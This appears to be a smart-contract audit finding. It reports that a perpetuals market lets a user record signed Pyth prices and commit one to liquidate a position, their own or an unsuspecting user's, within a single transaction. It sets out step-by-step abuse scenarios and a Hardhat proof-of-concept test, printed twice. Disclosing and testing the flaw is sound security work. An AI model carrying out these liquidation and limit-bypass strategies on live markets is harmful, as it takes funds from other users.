It is possible to open and liquidate your own position in 1 transaction to overcome efficiency and liquidity removal limits at almost no cost
The user can liquidate his own position with 100% guarantee in 1 transaction by following these steps:\\nIt can be done on existing position or on a new position\\nRecord Pyth oracle prices with signatures until you encounter a price which is higher (or lower, depending on your position direction) than latest oracle version price by any amount.\\nIn 1 transaction do the following: 3.1. Make the position you want to liquidate at exactly the edge of liquidation: withdraw maximum allowed amount or open a new position with minimum allowed collateral 3.2. Commit non-requested oracle version with the price recorded earlier (this price makes the position liquidatable) 3.3. Liquidate your position (it will be allowed, because the position generates a minimum loss due to price change and becomes liquidatable)\\nSince all liquidation fee is given to user himself, liquidation of own position is almost free for the user (only the keeper and position open/close fee is paid if any).\\nThe scenario of liquidating unsuspecting user is demonstrated in the test, add this to test/unit/market/Market.test.ts:\\n```\\nit('panprog liquidate unsuspecting user / self in 1 transaction', async () => {\\n\\n    function setupOracle(price: string, timestamp : number, nextTimestamp : number) {\\n        const oracleVersion = {\\n        price: parse6decimal(price),\\n        timestamp: timestamp,\\n        valid: true,\\n        }\\n        oracle.at.whenCalledWith(oracleVersion.timestamp).returns(oracleVersion)\\n        oracle.status.returns([oracleVersion, nextTimestamp])\\n        oracle.request.returns()\\n    }\\n\\n    var riskParameter = {\\n        maintenance: parse6decimal('0.2'),\\n        takerFee: parse6decimal('0.00'),\\n        takerSkewFee: 0,\\n        takerImpactFee: 0,\\n        makerFee: parse6decimal('0.00'),\\n        makerImpactFee: 0,\\n        makerLimit: parse6decimal('1000'),\\n        efficiencyLimit: parse6decimal('0.2'),\\n        liquidationFee: parse6decimal('0.50'),\\n        minLiquidationFee: parse6decimal('10'),\\n        maxLiquidationFee: parse6decimal('1000'),\\n        utilizationCurve: {\\n        minRate: parse6decimal('0.0'),\\n        maxRate: parse6decimal('1.00'),\\n        targetRate: parse6decimal('0.10'),\\n        targetUtilization: parse6decimal('0.50'),\\n        },\\n        pController: {\\n        k: parse6decimal('40000'),\\n        max: parse6decimal('1.20'),\\n        },\\n        minMaintenance: parse6decimal('10'),\\n        virtualTaker: parse6decimal('0'),\\n        staleAfter: 14400,\\n        makerReceiveOnly: false,\\n    }\\n    var marketParameter = {\\n        fundingFee: parse6decimal('0.0'),\\n        interestFee: parse6decimal('0.0'),\\n        oracleFee: parse6decimal('0.0'),\\n        riskFee: parse6decimal('0.0'),\\n        positionFee: parse6decimal('0.0'),\\n        maxPendingGlobal: 5,\\n        maxPendingLocal: 3,\\n        settlementFee: parse6decimal('0'),\\n        makerRewardRate: parse6decimal('0'),\\n        longRewardRate: parse6decimal('0'),\\n        shortRewardRate: parse6decimal('0'),\\n        makerCloseAlways: false,\\n        takerCloseAlways: false,\\n        closed: false,\\n    }\\n        \\n    await market.connect(owner).updateRiskParameter(riskParameter);\\n    await market.connect(owner).updateParameter(marketParameter);\\n\\n    setupOracle('100', TIMESTAMP, TIMESTAMP + 100);\\n\\n    var collateral = parse6decimal('1000')\\n    dsu.transferFrom.whenCalledWith(userB.address, market.address, collateral.mul(1e12)).returns(true)\\n    await market.connect(userB).update(userB.address, parse6decimal('10.000'), 0, 0, collateral, false)\\n\\n    var collateral = parse6decimal('100')\\n    dsu.transferFrom.whenCalledWith(user.address, market.address, collateral.mul(1e12)).returns(true)\\n    await market.connect(user).update(user.address, 0, parse6decimal('1.000'), 0, collateral, false)\\n\\n    // settle\\n    setupOracle('100', TIMESTAMP + 100, TIMESTAMP + 200);\\n    await market.connect(userB).update(userB.address, parse6decimal('10.000'), 0, 0, 0, false)\\n    await market.connect(user).update(user.address, 0, parse6decimal('1.000'), 0, 0, false)\\n\\n    // withdraw\\n    var collateral = parse6decimal('800')\\n    dsu.transfer.whenCalledWith(userB.address, collateral.mul(1e12)).returns(true)\\n    await market.connect(userB).update(userB.address, parse6decimal('2.000'), 0, 0, collateral.mul(-1), false)\\n\\n    // liquidate unsuspecting user\\n    setupOracle('100.01', TIMESTAMP + 150, TIMESTAMP + 200);\\n    const EXPECTED_LIQUIDATION_FEE = parse6decimal('100.01')\\n    dsu.transfer.whenCalledWith(liquidator.address, EXPECTED_LIQUIDATION_FEE.mul(1e12)).returns(true)\\n    dsu.balanceOf.whenCalledWith(market.address).returns(COLLATERAL.mul(1e12))\\n    await market.connect(liquidator).update(userB.address, 0, 0, 0, EXPECTED_LIQUIDATION_FEE.mul(-1), true)\\n\\n    setupOracle('100.01', TIMESTAMP + 200, TIMESTAMP + 300);\\n    await market.connect(userB).update(userB.address, 0, 0, 0, 0, false)\\n\\n    var info = await market.locals(userB.address);\\n    var pos = await market.positions(userB.address);\\n    console.log("Liquidated maker: collateral = " + info.collateral + " maker = " + pos.maker);\\n\\n})\\n```\\n\\nConsole output for the code:\\n```\\nLiquidated maker: collateral = 99980000 maker = 0\\n```\\n\\nSelf liquidation is the same, just the liquidator does this in 1 transaction and is owned by userB.
Industry standard is to have initial margin (margin required to open position or withdraw collateral) and maintenance margin (margin required to keep the position solvent). Initial margin > maintenance margin and serves exactly for the reason to prevent users from being close to liquidation, intentional or not. I suggest to implement initial margin as a measure to prevent such self liquidation or unsuspected user liquidations. This will improve user experience (remove a lot of surprise liquidations) and will also improve security by disallowing intentional liquidations and cheaply overcoming the protocol limits such as efficiency limit: intentional liquidations are never good for the protocol as they're most often malicious, so having the ability to liquidate yourself in 1 transaction should definetely be prohibited.
There are different malicious actions scenarios possible which can abuse this issue and overcome efficiency and liquidity removal limitations (as they're ignored when liquidating positions), such as:\\nOpen large maker and long or short position, then liquidate maker to cause mismatch between long/short and maker (socialize positions). This will cause some chaos in the market, disbalance between long and short profit/loss and users will probably start leaving such chaotic market, so while this attack is not totally free, it's cheap enough to drive users away from competition.\\nOpen large maker, wait for long and/or short positions from normal users to accumulate, then liquidate most of the large maker position, which will drive taker interest very high and remaining small maker position will be able to accumulate big profit with a small risk.\\nJust open long/short position from different accounts and wait for the large price update and frontrun it by withdrawing max collateral from the position which will be in a loss, and immediately liquidate it in the same transaction: with large price update one position will be liquidated with bad debt while the other position will be in a large profit, total profit from both positions will be positive and basically risk-free, meaning it's at the expense of the other users. While this strategy is possible to do on its own, liquidation in the same transaction allows it to be more profitable and catch more opportunities, meaning more damage to the other protocol users.\\nThe same core reason can also cause unsuspecting user to be unexpectedly liquidated in the following scenario:\\nUser opens position (10 ETH long at $1000, with $10000 collateral). User is choosing very safe leverage = 1. Market maintenance is set to 20% (max leverage = 5)\\nSome time later the price is still $1000 and user decides to close most of his position and withdraw collateral, so he reduces his position to 2 ETH long and withdraws $8000 collateral, leaving his position with $2000 collateral. It appears that the user is at the safe leverage = 1 again.\\nRight in the same block the liquidator commits non-requested oracle with a price $999.999 and immediately liquidates the user.\\nThe user is unsuspectedly liquidated even though he thought that he was at leverage = 1. But since collateral is withdrawn immediately, but position changes only later, user actually brought his position to max leverage and got liquidated. While this might be argued to be the expected behavior, it might still be hard to understand and unintuitive for many users, so it's better to prevent such situation from happening and the fix is the same as the one to fix self-liquidations.
```\\nit('panprog liquidate unsuspecting user / self in 1 transaction', async () => {\\n\\n    function setupOracle(price: string, timestamp : number, nextTimestamp : number) {\\n        const oracleVersion = {\\n        price: parse6decimal(price),\\n        timestamp: timestamp,\\n        valid: true,\\n        }\\n        oracle.at.whenCalledWith(oracleVersion.timestamp).returns(oracleVersion)\\n        oracle.status.returns([oracleVersion, nextTimestamp])\\n        oracle.request.returns()\\n    }\\n\\n    var riskParameter = {\\n        maintenance: parse6decimal('0.2'),\\n        takerFee: parse6decimal('0.00'),\\n        takerSkewFee: 0,\\n        takerImpactFee: 0,\\n        makerFee: parse6decimal('0.00'),\\n        makerImpactFee: 0,\\n        makerLimit: parse6decimal('1000'),\\n        efficiencyLimit: parse6decimal('0.2'),\\n        liquidationFee: parse6decimal('0.50'),\\n        minLiquidationFee: parse6decimal('10'),\\n        maxLiquidationFee: parse6decimal('1000'),\\n        utilizationCurve: {\\n        minRate: parse6decimal('0.0'),\\n        maxRate: parse6decimal('1.00'),\\n        targetRate: parse6decimal('0.10'),\\n        targetUtilization: parse6decimal('0.50'),\\n        },\\n        pController: {\\n        k: parse6decimal('40000'),\\n        max: parse6decimal('1.20'),\\n        },\\n        minMaintenance: parse6decimal('10'),\\n        virtualTaker: parse6decimal('0'),\\n        staleAfter: 14400,\\n        makerReceiveOnly: false,\\n    }\\n    var marketParameter = {\\n        fundingFee: parse6decimal('0.0'),\\n        interestFee: parse6decimal('0.0'),\\n        oracleFee: parse6decimal('0.0'),\\n        riskFee: parse6decimal('0.0'),\\n        positionFee: parse6decimal('0.0'),\\n        maxPendingGlobal: 5,\\n        maxPendingLocal: 3,\\n        settlementFee: parse6decimal('0'),\\n        makerRewardRate: parse6decimal('0'),\\n        longRewardRate: parse6decimal('0'),\\n        shortRewardRate: parse6decimal('0'),\\n        makerCloseAlways: false,\\n        takerCloseAlways: false,\\n        closed: false,\\n    }\\n        \\n    await market.connect(owner).updateRiskParameter(riskParameter);\\n    await market.connect(owner).updateParameter(marketParameter);\\n\\n    setupOracle('100', TIMESTAMP, TIMESTAMP + 100);\\n\\n    var collateral = parse6decimal('1000')\\n    dsu.transferFrom.whenCalledWith(userB.address, market.address, collateral.mul(1e12)).returns(true)\\n    await market.connect(userB).update(userB.address, parse6decimal('10.000'), 0, 0, collateral, false)\\n\\n    var collateral = parse6decimal('100')\\n    dsu.transferFrom.whenCalledWith(user.address, market.address, collateral.mul(1e12)).returns(true)\\n    await market.connect(user).update(user.address, 0, parse6decimal('1.000'), 0, collateral, false)\\n\\n    // settle\\n    setupOracle('100', TIMESTAMP + 100, TIMESTAMP + 200);\\n    await market.connect(userB).update(userB.address, parse6decimal('10.000'), 0, 0, 0, false)\\n    await market.connect(user).update(user.address, 0, parse6decimal('1.000'), 0, 0, false)\\n\\n    // withdraw\\n    var collateral = parse6decimal('800')\\n    dsu.transfer.whenCalledWith(userB.address, collateral.mul(1e12)).returns(true)\\n    await market.connect(userB).update(userB.address, parse6decimal('2.000'), 0, 0, collateral.mul(-1), false)\\n\\n    // liquidate unsuspecting user\\n    setupOracle('100.01', TIMESTAMP + 150, TIMESTAMP + 200);\\n    const EXPECTED_LIQUIDATION_FEE = parse6decimal('100.01')\\n    dsu.transfer.whenCalledWith(liquidator.address, EXPECTED_LIQUIDATION_FEE.mul(1e12)).returns(true)\\n    dsu.balanceOf.whenCalledWith(market.address).returns(COLLATERAL.mul(1e12))\\n    await market.connect(liquidator).update(userB.address, 0, 0, 0, EXPECTED_LIQUIDATION_FEE.mul(-1), true)\\n\\n    setupOracle('100.01', TIMESTAMP + 200, TIMESTAMP + 300);\\n    await market.connect(userB).update(userB.address, 0, 0, 0, 0, false)\\n\\n    var info = await market.locals(userB.address);\\n    var pos = await market.positions(userB.address);\\n    console.log("Liquidated maker: collateral = " + info.collateral + " maker = " + pos.maker);\\n\\n})\\n```\\n